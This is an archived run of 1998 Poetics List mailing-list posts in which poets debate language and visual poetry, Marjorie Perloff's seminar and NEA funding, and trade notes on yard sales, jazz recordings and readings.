#2 * nv asl 3 * nv asl 4 * nv asl 5 * hydropod #2 * 207. nathaniel wolper*

</communique)

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683. **Pam Brown**
Re: THE newest
Wed 21 Jan 1998

Ben
And she's trendy too - a gender-fluid doppelganger no less
Pam

At 08:56 PM 21/1/98 EST, you wrote:
>On Thu, 22 Jan 1998 10:55:56 +1000 Pam Brown said:
>>Dear Poetics Listees,
>>At the Calendar Spit "Luncheon with New Poets" last week at Porpoise Point,
>>Hawks Nest in New South Wales, one of the newest younger poets, Chris
>>Trapender, revealed his admiration for his influential cousin, the late Ern
>>Malley to a rapt & responsive audience.
>>All the best from downunda (I s'pose)
>>Pam
>
>God, I wish I could have been there. Not only to enjoy the poetic poipoises,
>and another GREAT reading by Cris (she hates that H, for some reason -
>probably connects it with somebody on the list) - but we could have
>cleared up a lot of these problems about who's important in poetry
>these days - Cris has that knack of shelling nuts without cracking them -
>did she learn that in the bush?
>- Ben Carrelis
>
>

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684. **John Tranter**
Lisa Jarnot poems available in Jacket
Thu 22 Jan 1998

In a recent post, Annie Finch wrote:
"Et al: Would one of the people who has been discussing Lisa Jarnot mind
"posting a representative piece of hers for those who don't have her books?

You can find five of Lisa's prose pieces from "Sea Lyrics" in Jacket magazine # 2 at

http://www.jacket.zip.com.au/jacket02/jarnot02.html

Jacket magazine is free.

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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685. david bromige
KATHA POLLIT, POINT OF INTEREST
Thu 22 Jan 1998

On internal and external evidence, like we used to say, maybe Katha Pollit is related to Harry Pollit, the once-upon-a-time British Communist Party leader? Any oil? David

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686. Don Byrd
Mark Wallace and the Question of the New
Thu 22 Jan 1998

The discussion is very rich right now, and there are a number of things I want to say to Mark Wallace and others. However, classes started today, I have a dead line for a little piece of writing on friday, and I am worn out for the day. I am going to get myself a bourbon and listen to the new Marty Ehrlich cd, which I recommend highly.

Don

****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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687. Miekal And
A Pothole Named Copernicus
Thu 22 Jan 1998

A Pothole Named Copernicus

Unfortunate it seems but true that we, though subject to mass delusions & cravings as ever, are now no longer the same political animal, as once could be content with parti-pris. Not even relict culture lends identity enough: the only thing in all the present maelstrom that i can find to cling to build on or huddle within, is my panic-stochastic adoption of a to me savoury subculture.

“Subculture” isn’t quite the word. That would imply something lesser &, above all, acknowledged as secessionist by the parent culture. Whereas i maintain our glorious center has simply evaporated. What keeps us from noticing this simple fact are the massively concerted facades of media sculsh, psepholatry, taxploitation, & an imperial idiom (already on the fritz). We think in terms of something else. But we don’t have a name for it yet. Within the shells of the old divisions & sterotypes, a new paradigm has blossomed.

Take a gander at the nearest newsstand & behold. Wherefore (you ask) can there ever be snagged, a quorum of Iguana Owners? A glossy & not negligible magazine (/website) sits there leering forth: & i understand, like apple-bonked Newton, that the true groups today are DISPERSED. Maybe they never do assemble all at once in one place. A force, invisible & plenipotent, still orients them, guides, like filings of steel around one pole of a magnetic tropism. I call it a “Blik”.

“Blik” is a way of referring to a group of people by the one quality or predilection they all share. This, their style-philosophy, works for that blik the way a territory used to for tribes. It’s a philosophy because it involves ideas (whether or not they’re defined or even talked about), unlike consumerist fashion; & it’s a style-philosophy because it involves the whole person’s lifestyle, not just a point of view. A blik compels you to seek expression.

What creates a blik? Glamour. A fascination with one specialized mode of being in the world. It can be a type of music, a game, a drug, a hobby, a form of sexuality, a religion, a personality cult, a venerable or self-invented artform, a way of making a living (rarely!); it is anything that gives meaning to your life inexhaustibly & whose contemplation creates a ramified discourse -- standards of a playground for the exercise of free choice, & a dialectical encounter with mediated Necessity. And because all glamours involve the manipulation of symbolic objects (--what “magic” ever was) it is not enough to just “talk the talk”. We are driven to repeatedly transact whatever magical-metaphorical operations reinforce our blixen.

They feed.

Hardly anyone lacks a blik; most of us belong to several. On one hand, the system of blixen has swallowed up all the major preoccupations of humanity-- art, religion, politics--by breaking them down into specialities that fewer & fewer outsiders care to explore; on the other, this system shades off into the

infinitesimal subtleties & infinite variety of “taste”. To keep this term at all meaningful, i want to restrict it to those things you not only care about enough to demand one way & not another, but also have spent time discriminating & studying. Maybe it doesn’t have a newsletter, or conventions to meet others of your ilk at yet; still, these are inherent tendencies--& goals: who will be the first Perfume Critic? Do the Trekkies have a martyr?

We even perceive our predecessors in terms of blixen. Just read a book & become a Druid! Instead of politics-history, culture-history; each century or (in this one) decade a congeries of fads. I don’t know if it’s any falser. What morality was to the Nienteenth Century, & Politics is to the Twentieth, Blixen will be to the Twenty First: a metalanguage. No one will be able to talk about anything outside it. Clearly, “counterculture” has no place. That’s what they all are.

History is savagely random, but Culture is savagely dialectical. We’re left with the dialectics of blixen. This does not mean nothing. If the Sixties succumbed to irony as much as to consumerism, we seem to be entering, dialectically, a Post-Ironic period (i owe this term to the Dallas poet Melanie Pruit). Irony only has meaning against an assumed norm; precisely what’s being contested in the current “Kulturkampf”. Goverance being left to the Politico-Show Biz blik, that power vacuum consequent became parasitized by sundry pirates flying the colors of the Biblical Fascist blik (you can fill in the rest). But two blixen far more readily corrupt than conquer one another...Farce, Karl, this time. The Work continues.

--Michael Helsem, 6/18/97

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688. Miekal And

[Fwd: Re: fly problem]

Thu 22 Jan 1998

This is a multi-part message in MIME format.

At first I thought the discussion about visual poets had carried over to the aquaponics list Im on.

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id MAA26837
for <[redacted]>; Thu, 22 Jan 1998 12:39:14 -0600 (CST)
(Rockliffe SMTPRA 2.1.2) with SMTP id <[redacted]> for <[redacted]>;
Thu, 22 Jan 1998 12:48:49 -0600
via smtpd (for mail.townsqr.com [207.18.224.3]) with SMTP; 22 Jan 1998 18:41:15 UT
22 Jan 98 13:41:31 EST

Date: 22 Jan 98 13:36:17 EST
From: [redacted]
Subject: Re: Re: fly problem
To: [redacted]

Thank you Rebecca:

> *For control we used predator nematodes. They look like microscopic "worms" and attack many types of problem insects (fleas, thrips, fungus gnats, etc.). They are unrelated to pest nematodes and do not attack plants.*

Do you know where predator nematodes can be obtained?

Pete T.

----------17FA26CC1F96--

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689. KENT JOHNSON
Re: Beneath me
Thu 22 Jan 1998

On Jan. 22, Tom Mandel wrote:

> *Henry Taylor found Stanzas for Irene Leszak (sp?) at a yard sale.*

Iris Lezak. anyone know wht the acrostic says? The most wonderful acrostic in history of American poetry.

By the way, I'm up here at work and haven't checked the news. Is Bill still the President?

Kent

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690. KENT JOHNSON
Re: generation underwear
Thu 22 Jan 1998

On Jan 21, Henry Gould wrote:

> *this is a very odd situation -*
> *& rather than bemoaning the fact or vaunting "alternatives" of various kinds, some politically minded poets will see how they can turn it to advantage. Probably, I'm sad to say, a lot of clever socialist types who have no sense of patriotism or national destiny.*

Henry, my funny bone is slower than most, so forgiive if I'm not hip that the above is a joke.

anyway, you'll recall that _In the American Tree_, one of the century's great anthologies of national destiny, is chock-full of clever socialist types.

Kent

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691. **Tom Mandel**

Beneath me

Thu 22 Jan 1998

Yard sales beneath me? David?

As Keats so clearly says, it is easy to speak of what a yard sale should be but even easier to furnish your house from more than one -- and more than one house too -- as I have done. But my favorite is to find old tube audio equipment at yard sales. All you who wish you had turntables to play large black vinyl music, you can find them at yard sales. Henry Taylor found Stanzas for Irene Leszak (sp?) at a yard sale. I have a wondrous Minox camera on a slinky chain I found at a yard sale even with its fanning out flash umbrella and two tiny rolls of film or are they sculptures of snails? Because yard sales are locus solus detritus, and detritus is fashion's future the yard sale is a guidebook to the future and past at once. Early saturday morning before the really good stuff is gone the cool bowl in the hands of the woman who pulled up just before you, before that, the moment you're walking up the yard and can see the weird 50's armchair in one eye and the mixer with the other, that's when you know. Yard sale equals Eden. I have two Harry Bertoia butterly chairs, Knoll circa 1959. One I found at a yard sale on Waller street in 1978. You've sat in it for god's sake! The other I found in the alley -- in the alley! -- behind my Tilden street house in 1992. I'm telling you they're a pair. A pair, do you hear me man?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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692. **Gary Sullivan**
Re: Meow (carrying on in public)
Thu 22 Jan 1998

Jordan:

Baiting? Loyalty? Power base? Dude, man, like Didn't I meet you in the Nixon Whitehouse?

Don't bother looking up After Babylon; I fucked up the title: It's After Babel.

Miao, miao,

Gary

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693. **Tom Mandel**
Marty Ehrlich
Thu 22 Jan 1998

Don, *what* new Marty Ehrlich CD? What brand bourbon? Remember, poets must talk about "things" (das Ding if they're German poets, natch).

Actually I just want to buy the CD, I'm a scotch drinker at best, Old Pointless my favorite.

Anyway, have I asked? That is, I used to take it with a twist.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

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694. **KENT JOHNSON**
Re: Marty Ehrlich
Thu 22 Jan 1998

On Jan 22, Don byrd wrote:

> *Oh, and the bourbon--Knob Creek, when for special occasions, Walker Evans (better than JD at a little more than half the price) for everyday.*

Don:

can recovering alcoholics come and visit too?

Kent

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695. **Dale M Smith**
What evil lurks
Thu 22 Jan 1998

David:

Now that I've accepted Joel's request and you have so eloquently pointed out my errors of perception, making me a more decent human being, perhaps you could a ddress your continued resistance to engage the poetry of Tom Clark while smeari ng his name on a periodic basis. Maybe it's the person, not the poems, that up set you. By the way, if you're looking for proof of life in his poems, check o ut his most recent, White Thought, published jointly by the Figures and Hard Pr ess. Or maybe his book on the trade of otter skin in the early 19th century wo uld appeal to your sensibilities. This book, published by Black Sparrow, actua lly addresses issues of race, colonization and trade without the vanity of mora l assumption, but with the rigor of intellectual and artistic investigition. I think Tom and the Langpods share, in some way, similar impulses, though each e xploits those to fit the design and arc of their individual lives.

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696. **KENT JOHNSON**
Re: Infamous spellings
Thu 22 Jan 1998

On Jan. 23, Jonathan Mayhw wrote:

> *I must admit to being a spelling snob, to the extent that I am dismissive of opinions expressed about "Alan Ginsburg" or "Finnegan's Wake" or "The Wasteland" or "Harry Matthews." This is not to say I am immune from error myself, just that the automatic pedantic reflex persists in me.*

Jonathan:

so is it Alan or Allen? God, those "e" s make me crazy.

Kent

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697. **MAYHEW**
Infamous spellings
Thu 22 Jan 1998

Reading Ted Berrigan's lecture on writing sonnets I came across this transcription of a Shakespeare line: "They rightly do inherent heaven's graces." I must admit to being a spelling snob, to the extent that I am dismissive of opinions expressed about "Alan Ginsburg" or "Finnegan's Wake" or "The Wasteland" or "Harry Matthews." This is not to say I am immune from error myself, just that the automatic pedantic reflex persists in me.

Jonathan Mayhew

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698. **Gwyn McVay**
Re: Hurrahs all around
Thu 22 Jan 1998

And also Hurrah for those who film the strangers fornicating in bed, and then pull back to show the cameras filming the strangers fornicating in bed.

Hurrah for those who show the camera in the mirror filming the cameras filming the strangers fornicating in bed.<<<

Knock knock.

Who's there?

Fornication.

Fornication who?

Fornication like this I should have worn black tie.

G. Mutt

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699. **David Gitin**
Re: Marty Ehrlich (for Don Byrd and Tom Mandel)
Thu 22 Jan 1998

Erik Friedlander also recorded with Dave Douglas, group I saw live a little over a year ago, worth checking out. The Marty live double opens up the studio Dark Winds album quite a lot.

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700. **Miekal And**

[Fwd: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?]

Thu 22 Jan 1998

This is a multi-part message in MIME format.

the
intergalactic
hypertext time
machine
presents

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id CAA08538
for <[redacted]>; Tue, 20 Jan 1998 02:37:43 -0600 (CST)
by gars.gar.no (8.8.8/8.8.8) id JAA02779
for [redacted]; Tue, 20 Jan 1998 09:40:06 +0100 (MET)
id 34c4636d; Tue, 20 Jan 1998 09:40:06 +0100
Date: Tue, 20 Jan 1998 09:41:52 +0100
From: Knut Mork <[redacted]>
To: Miekal And <[redacted]>
Subject: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?

Reply to the message of Sunday January 18, 1998 14:07 +0100
---------- Miekal,

> *weve been having an interesting & perhaps controversial interaction about visual poetry on the poetics list. [...]*
>
> *in order to widen the bandwidth of the list's discussion & scholarship on the topic Ive been seeking out relevant works, citations, manifestoes, & websites to enter into the discussion. I have created an ascii gadget called The Intergalactic Hypertext Time Machine which will post all materials that are sent me as an ongoing series of posts.*

You might be interested in the Java applet at

http://www.gar.no/sec/

which is an experiment in 'live' visual/morph poetry.

[knut]

----------48C542FAED--

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701. **Bob Grumman**

The Perloff Vizpo Seminar

Thu 22 Jan 1998

Marjorie Perloff was gracious enough to send me a copy of her Official Syllabus. It is substantially more formidable than the one posted at the Stanford U. website which Luigi-Bob Drake circulated, but for me only a slight improvement. I continue to feel that her seminar is basically a textual poetry course focusing on a few language poets who have used visual devices in their poetry, with a heavyweight genuine visual poet or two like Tom Phillips thrown in for appearance's sake--plus a massive surround of scholarly publications. While not particularly important in itself, Perloff's seminar is annoyingly symptomatic of the treatment we visual poets have been subjected to in this country for too many years.

My attitude toward it is much as I believe the attitude of any language poet would be if visual poetry instead of langpo were the poetry vying for acadominance with Iowa WorkShop Poetry, and I--as well-known Critic, Professor Bob of, say, SUNY, Buffalo, its own self--made it known that I had decided to teach a seminar on language poetry, and was having Richard Kostelanetz, Crag Hill, Jonathan Brannen, John Byrum, Karl Young, Carol Stetsor, Jim Leftwich, Liz Was and Harry Polkinhorn give readings and visit the class. I would claim that all these people have composed poems as deft in the langpo vein as Perloff's visitors, Charles Bernstein, Susan Howe, Kathleen Fraser, Tom Raworth, Kenneth Goldsmith, Cole Swensen, Diane Ward, Joan Retallack, and Johanna Drucker, have in the vizpo vein (although I have to confess that I privately consider my group's langpo significantly better than the vizpo of Perloff's group's).

And what if I scheduled the following classes:

Week 1 (Jan 7) Introduction and Assignments

Week 2 (Jan 14) The Tradition: Laurence Sterne (my equivalent of Perloff's George Herbert.)

Week 3 (Jan 21): Modernism: Gertrude Stein and E.E. Cummings--my equivalents of Perloff's Apollinaire and Ezra Pound--one unarguably appropriate, one rather strained

Week 4 (Jan. 28) A complete run of O.ARS--which, while certainly not a definitive collection of language poetry, did as much for it as Mary Ellen Solt's anthology of concrete (but not all cases visual) poetry did for visual poetry

The other weeks: works by my visiting poets--and Ron Silliman and Clark Coolidge as my equivalents of Perloff's Tom Phillips and Ian Hamilton Finlay, and Jackson Mac Low, as my equivalent of Perloff's Jackson Mac Low

And what if my list of required and recommended books included the complete run of O.ARS but nothing else most people doing language poetry in this country and Canada would consider even a tenth as close to a central work in the field as it? And what if, after some obscure language poet had lodged a complaint against my list for ignoring just about everyone he knew in the field, I provided a numbly-long Supplementary Reading List that contained the following, among other material:

(1) a few token references to the best US language poets (and mention of essays by others in some book Bernstein had edited while ignoring his poetry to parallel Perloff's mentioning two essays by others in a book edited by Kostelanetz but not Kostelanetz's Wordworks or vast array of other consequential writings, particularly as a critic)

(2) Karl Kempton's Black Strokes White Spaces and Crag Hill's Transforms (with a confession that they had no language poetry in them but were worth looking into anyway)

(3) As many books by Harry Polkinhorn as Perloff has books by Johanna Drucker and, of course, Professor Bob's own book, Of Manywhere-at-Once (which actually has a chapter on language poetry, at least by my definition of it)

(4) a lot of good stuff from earlier in the century or by people outside North America--i.e., poets and critics too distant to interfere with my attempt re-define language poetry in this country for the 21st century

(5) Ron Johnson's Book of the Green Man, Kostelanetz's Wordworks, and work by Spencer Selby

(6) almost nothing that wasn't published by an academic press or the equivalent

(7) the Electronic Poetry Center (EPC) (http://writing.upenn.edu/epc) and the Jacket Website (which I described as the two best sites around for language poetry) along with Karl Young's Light & Dust Website (http://www.thing.net/~grist/l&d/lighthom.htm), Miekal And's Joglars Crossmedia Broadcast (http://www.net22.com/qazingulaza/joglars/ index.html) and QAZINGULAZA (http://net22.com/qazingulaza/index.html) sites, and a sprinkling of sites like my own Runaway Spoon Press site (http://www.interlog.com/~dal/rasp) that can't be said to be in the fore of the language poetry movement but have not been wholly inhospitable to it.

Would you be bothered, Oh, Hypothetical Language Poet? (Assuming, remember, that your group was as under-recognized as American and Canadian visual poets are.) I suspect you might be.

Postscript: some have wondered that I care what an academic like Perloff does with visual poetry. And I think of the contra-genteel poet Sparrow

demonstrating at the New Yorker's doors in protest of its editorial policy regarding poetry, eventually getting a few of his poems into it. Why should any serious poet want academic recognition, or publication in a magazine like The NewYorker? My answer: I more and more believe that my function as a poet is to bring aesthetic pleasure to as much of the world as I can--to repay all the poets who have given me pleasure. I thus believe that winning a public (not only for myself but for other poets I admire) is as much of a part of being a poet as manipulating words (and the like). This means getting academic and/or commercial acceptance. I don't see any way around it.

As a serious poet, I also want as many people to see my work as possible so that I can benefit from their responses to it. This is even more the case with my criticism. How can I know if what I'm doing is effective if I keep it from all but a few?

Moreover, a grant or two could certainly come in handy. There's nothing wrong with wanting an occasional pat on the back, either.

Many visual poets would disagree with me about academic recognition, grants, and the rest of it. But I'm quite sure they share my irritation with having an art that we've had to practice in near-total isolation for over thirty years in some cases further obscured by a wing of langpo that seems almost completely to miss the lyrical/metaphorical possibilities of visual poetry, focusing instead on typography as a form of cuing or decoration. These others don't want the recognition of the establishment, they just don't want to have dirt kicked at them any more than they already have.

Bob

Grumman

↑ Index

702. Jordan Davis
Clonetinian era
Thu 22 Jan 1998

Gary --

Baby I was bebe rebozo. Now we know so much better.

Love,
J

↑ Index

703. **Miekal And**
stacy doris address?
Thu 22 Jan 1998

anyone got a current address for stacy doris? bkchl me.

↑ Index

704. **Gary Sullivan**
Re: Surveillance
Thu 22 Jan 1998

Hi, Miekal:

> *For me it has the quality*
> *of unrequited tease since I havent been able to afford a book of poetry*
> *for years & only really spend time with works Ive traded for*

Well, I totally understand. But I bet at least some of the folks I mentioned would love to trade works/books with you. I'll send you addresses for anyone you like (same goes for others reading this & interested). Okay? Okay.

Yours,

Gary Sullivan
[redacted]

↑ Index

705. **Gwyn McVay**
Re: The Perloff Vizpo Seminar
Thu 22 Jan 1998

But how can teaching Tom Phillips *at all*, whatever motives one assumes the teacher has for doing so, be a bad thing?

humid among the monuments,
Gwyn McVay

↑ Index

706. **Don Byrd**
Re: Marty Ehrlich
Thu 22 Jan 1998

Tom Mandel wrote:

> *Don, *what* new Marty Ehrlich CD? What brand bourbon? Remember, poets must talk about "things" (das Ding if they're German poets, natch).*

Marty Ehrlich, Live Wood, with Erik Friedlander on Cello and Mark Helias on bass (2 cds). Wonderful. Oh, and the bourbon--Knob Creek, when for special occasions, Walker Evans (better than JD at a little more than half the price) for everyday.

db

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

707. **Mark Weiss**
(no subject)
Thu 22 Jan 1998

Jerry and Diane Rothenberg are looking for a sublet in Manhattan for September and October 1998. If anyone out there in listland has a lead please backchannel me and I'll convey the message.

Mark Weiss

↑ Index

708. **Jacques Debrot**
Re: "actually new"
Thu 22 Jan 1998

Mark Wallace writes:

"Byrd and Silliman must, I think, feel BETRAYED by the work of poets who come after them. Whether justified or not (and I think, of course, that it is not), I can find no cause for celebration in such a feeling."

But a creative use of tradition includes not only translation & transmission --its "re-use" & "recreation" -- but the betrayal of tradition as well. In a sense, the important question is not *whether* emerging writers are betraying Langpo, but exactly *how* this is being, & can be done -- & without assuming that such a betrayal must necessarily have a reactionary character.

↑ Index

709. **Aldon Nielsen**
Re: Ron Ron
Thu 22 Jan 1998

"why it's taken fifteen years for a first book"

I assume that's a rhetorical question?

yours,
aldon (twenty years) nielsen

↑ Index

710. **Aldon Nielsen**
Re: scoured grapes
Thu 22 Jan 1998

At 03:05 PM 1/21/98 CST, you wrote:
>Oh. So there *is* a right way to read Watten.
>

No, but there is a way to send copies of your mag. to people whose poetics list posts you reproduce.

↑ Index

711. **david bromige**
tom mandel on a par with yard sales
Thu 22 Jan 1998

A public apology to Tom for the doubt I cast yesterday upon his probity as a yard-sale poetry-man. His post today is first class encouragement to get that poetry yard-sale wave rolling across America. I have been enjoying reports from listmates re the ins & outs of the yard sale.(Oh, but Don Cheney, could you pad the profit figure next time?) (Then again, that was for soccer, not poetry. Try it again just before the World Cup).

Uncle Dave.

↑ Index

712. **Bob Grumman**
Re: The Perloff Vizpo Seminar
Thu 22 Jan 1998

Gwyn McVay wants to know how "teaching Tom Phillips *at all*, whatever motives one assumes the teacher has for doing so, be a bad thing?" Teaching Tom

Phillips is fine; the problem, as I think my piece makes clear, is who else Marjorie Perloff is teaching (as visual poets), and who she is not.

--Bob G.

↑ Index

713. Aldon Nielsen
Los Angeles Reading
Thu 22 Jan 1998

The next reading in the series at Loyola Marymount University features Juan Felipe Herrera, whose _Mayan Drifter_ was recently reviewed in the San Francisco Chron. and elsewhere -- Juan Felipe Herrera has published some of the most interesting poetry of the past two decades, and gives one hell of a good reading -- try to make it:

Juan Felipe Herrera
reading Thursday Feb. 5 -- 7:30 PM
Loyola Marymount University
7900 Loyola Blvd.
St. Roberts Hall # 366
Los Angeles

info -- [redacted]

↑ Index

714. Jacques Debrot
Re: French disease
Thu 22 Jan 1998

Mark Wallace, in his excellent post, raises questions about the identity of the "new". For what it's worth, the need for the new seems to me an expression of the mind's need & capacity for self-estrangement -- what Raymond Williams calls "the active struggle for new consciousness through new relationships." Obviously, even the most difficult work will become familiar over time. So that the need for "radical" innovation is the result of a crisis arising from the domesticating assimilation of previously difficult work. I think Silliman is probably right to regard "the French-influenced short abstract lyric" as "the poetry of utter habit." *But overlooked in these posts is that the onus of habit falls perhaps even more heavily on established writers than on emerging ones.* And one could or should -- despite its obvious brilliance -- fairly ask what precisely is radically *new* about the latest installments of *The Alphabet*?

↑ Index

715. **John Cayley**
DIASTEXT, etc.
Thu 22 Jan 1998

> *Does anyone on the list know of an internet source from which it would be possible to download the DIASTEXT, DIASTEX4, and TRAVESTY programs as shareware?*

You could try the URL given in Hartman's *Virtual Muse*:

http://www.conncoll.edu/ccother/cohar/programs/

or this text manipulation site (haven't been there in ages; might be 404):

http://www.uio.no/~mwatz/c-g.writing

↑ Index

716. **Miekal And**
Re: bill bissett reads at SFU Monday, Jan. 26; Special Collections displays works from bissett's 35-year poetry career.
Thu 22 Jan 1998

---

charles watts

can you point us to any online bissett resources?

↑ Index

717. **Don Byrd**
Re: Marty Ehrlich
Thu 22 Jan 1998

KENT JOHNSON wrote:

> *On Jan 22, Don byrd wrote:*
>
> *Oh, and the bourbon--Knob Creek, when for*
> *special occasions, Walker Evans (better than JD at a little more than half the*
> *price) for everyday.*
>
> *Don:*
>
> *can recovering alcoholics come and visit too?*
>
> *Kent*

Come. We'll make carrot ginger juice and have some toast from home-made whole wheat bread. Some times, when I am feeling the need for a little extra kick I put some kale with the carrots and ginger. If you do it right it makes

wonderful orange and green layers in the glass. Honeydew melon, apples, and ginger also makes great juice. (Tone in email is difficult: I'm deadly serious.)

Don

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

718. Steve Evans
the new don ron don the new don ron
Thu 22 Jan 1998

...to call to mind a song our society has elected not to let us forget.

But beneath it a less ubiquitous strain:

> For the people of that flow
> Are new, the old
>
> New to age as the young
> To youth
>
> And to their dwelling
> For which the tarred roofs
>
> And the stoops and doors--
> A world of stoops--
> Are petty alibi and satirical wit
> Will not serve.

I found cris cheek's message about the recent UK situation more convincing than the claims on Ron and Don's part that the NEA provided neglible assistance in their generation's articulation of a poetry adequate to its situation (a situation that it would be fantasy and self-flattery to call "revolutionary," though some of the art may have aspired to render it more so; the only defense of a viable NEA I've ever encountered has been on social democratic, not social revolutionary, terms, and even these have been driven from public consideration in our epoch of only capitalism). For Ron to pass off assistance to "some book publishers, notably The Figures, Roof and Sun&Moon" as immaterial sounds funny

to me; like saying Duncan, Spicer, and Blaser didn't do much for the Berkeley Renaissance. On the other hand, I do take R & D--and Henry Gould's--point(s) that in the grand scheme of things, other factors made more of a real difference than the NEA. It's just that the books remain when many other of these conditions shift, subside, defy our hopes, etc.

Oppen's lines bring one further thing to mind. The question of how to make it new takes on a different urgency in an established writer, I think, and it must be tempting to displace the crisis onto the young in the form of surly dismissals / loving prods. Has Ron succeeded in making it "really new" in the years since _Ketjak_? I've heard knowledgable contemporaries, young and old, dispute the question pretty hotly, and the outcome is not every time in Ron's favor.

Like other contributors to this thread, I wish there were time enough for more, but now I've got to return to the extremely melancholy task of boxing up for storage all those NEA-supported poetry books that mattered so little....

Steve

=-=-=-=-=-=-=-=-=-=-=-=-=-=
The Impercipient Lecture Series
Steve Evans & Jennifer Moxley

Before 31 January 98:
61 East Manning Street
Providence RI 02906-4008
[redacted] OR [redacted]

After 1 February 1998
c/o Le Gallou
#9 rue Quinault Paris 75015
[redacted]

↑ Index

719. Jordan Davis
hooey
Thu 22 Jan 1998

Kent --

That camera pulling back metaphor, are you really committed to it? It seems kind of weak. That and something Juliana Spahr wrote somewhere reminded me of Michael Snow's Wavelength -- in which the camera doesn't pull back -- it just keeps going forward -- in an impossibly slow way -- they don't make lofts like that anymore -- or murder mysteries, for that matter --

Non-combatively,
Jordan

↑ Index

720. **Dale M Smith**
Re: scoured grapes
Thu 22 Jan 1998

Workin' hard on that one by gawd. Got a whole new set o' letterpress covers on their way from Boulder. Hold on tight. First tier gets theirs first. Second ones second. And so forth. Very hierarchical I suppose.

For you listees who missed out on the last issue, with A.L.N.et al, you can order copies of the newest Mike and Dale's Younger Poets from:

Michael Price
766 Valencia Street #2
San Francisco, CA 94110

Send a check made out to him for $5.

We'll fill all requests, one sour grape at a time.

To: [redacted]

At 03:05 PM 1/21/98 CST, you wrote:
>Oh. So there *is* a right way to read Watten.
>

No, but there is a way to send copies of your mag. to people whose poetics list posts you reproduce.

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721. **KENT JOHNSON**
The lost tampon
Thu 22 Jan 1998

Jordan:

Thanks for the questions. I will say this non-combatively: You are too smart for me! I have heard a few times of Juliana Spahr, but I know nothing, really, about the cinema (though I, too, loved Starship Troopers). And I've never heard of Michael Snow or of his movie Wavelength. I like that title, though, because it makes me think of what I think our cyber relationship has more or less been up until now-- not on the same wavelength. But, of course, now that I think about it, that's probably exactly what you meant by mentioning that movie! You see

how it is? This is not easy for me. Nor is it, I imagine, for you. (though in a different way, of course.) Actually, is it a movie or a book?

Jordan, I guess I don't know, all in all, what the hell I was trying to say about the cameras. Something, I suppose, that vaguely seemed to evoke the idea of baring the device, showing the frame, which I think Barrett Watten said once in an essay somewhere about the influence of Robert Smithson on the early Russian futurists. And it somehow seemed to connect, in a suggestive, "renga" sort of way, with the young post-Language poet caught, like a frightened rabbit, between facing mirrors. I know it was weak, but what should I say? We're all here on this earth for such a short time together, doing the best that we possibly can.

But actually, I think this is important too: the thing about the cameras pulling slowly back to show the two people fornicating is from a memory I have of a film by Goddard (or one of those 60's French directors), and I remember being stunned by this when I saw it, it was a truly shocking moment. Wait a second, I remember saying outloud and spilling my soda, that's a camera! But now, of course, most people see something like that and yawn. And their yawning is a pity, but I suspect there's not a whole lot to be done about it.

Don't you agree? I'm trying to connect.

What _was_ that movie? I remember it was in b/w and the main protagonist was a boy-poet of some sort in love with two women. In one of those scenes where the camera pulls away to reveal the set (lights, wires, cameras and all), the poet has jsut finished copulating with one of the women he loves, but she had forgotten to remove her tampon, so it has been pushed up far inside her. She is quite calm about the matter, but he immediately calls a friend on the telephone with great excitement to tell him about it. Isn't it amazing?! he says. In the end, the two women fall in love with each other, which French women in the movies always seem to do. Well, I know that sounds terrible, but that's about all I can remember from that movie. Does anyone out there know what I'm talking about?

I don't.

Kent

On Jan. 22, Jordan Davis wrote:

> *Kent --*
>
> *That camera pulling back metaphor, are you really committed to it? It seems kind of weak. That and something Juliana Spahr wrote somewhere reminded me of Michael Snow's Wavelength -- in which the camera doesn't pull back -- it just keeps going forward -- in an impossibly slow way -- they don't make lofts like that anymore -- or murder mysteries, for that matter --*

> *Non-combatively,*
> *Jordan*

↑ Index

722. **cris cheek**
Re: scoured grapes
Thu 22 Jan 1998

yes dale there *is* a right way to read everything

you put the book between you knees, kneel and clap

should leave the mouth free

↑ Index

723. **Mark Weiss**
Re: the new don ron don the new don ron
Thu 22 Jan 1998

For the record, when I was first thinking of starting Junction Press I had a chat with James Sherry of Roof and Segue fame(whom I've known since before there were Language Poets, and who has always been very generous to poets and presses of all stripes, even folks like me who are sometimes hostile to his agenda). His take on NEA grants was that if you did four books a year the grant might cover the cost of printing one. Remember that these are matching grants, and they aint all that big. This was before the huge grants to a few established small presses that served to increase their budgets while maintaining their annual losses intact. Neither Junction nor Broadway Boogie, the mag I did in the early 70's, nor the several long-term reading series' that I've run applied for grants. It's all sweat equity and out-of-pocket, the latter partly restored by sales, and as far as I know it's been ever thus. If the rules changed I suppose I could hire someone else to typeset my book designs, but then I'd have to learn to delegate responsibility, not one of my strong points. What I'm getting at is whether or not you like the books it's unlikely they were generated without a publisher's passionate committment just because he had the wherewithal, and that committment finds a way to see books into print regardless of the obstacles. And the NEA, although at times marginally helpful, has been pretty much irrelevant.

> *For Ron to pass off assistance to "some book publishers, notably The Figures, Roof and Sun&Moon" as immaterial sounds funny to me; like saying Duncan, Spicer, and Blaser didn't do much for the Berkeley Renaissance. On the other hand, I do take R & D--and Henry Gould's--point(s) that in the*

> *grand scheme of things, other factors made more of a real difference than the NEA. It's just that the books remain when many other of these conditions shift, subside, defy our hopes, etc.*

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724. Charles Watts

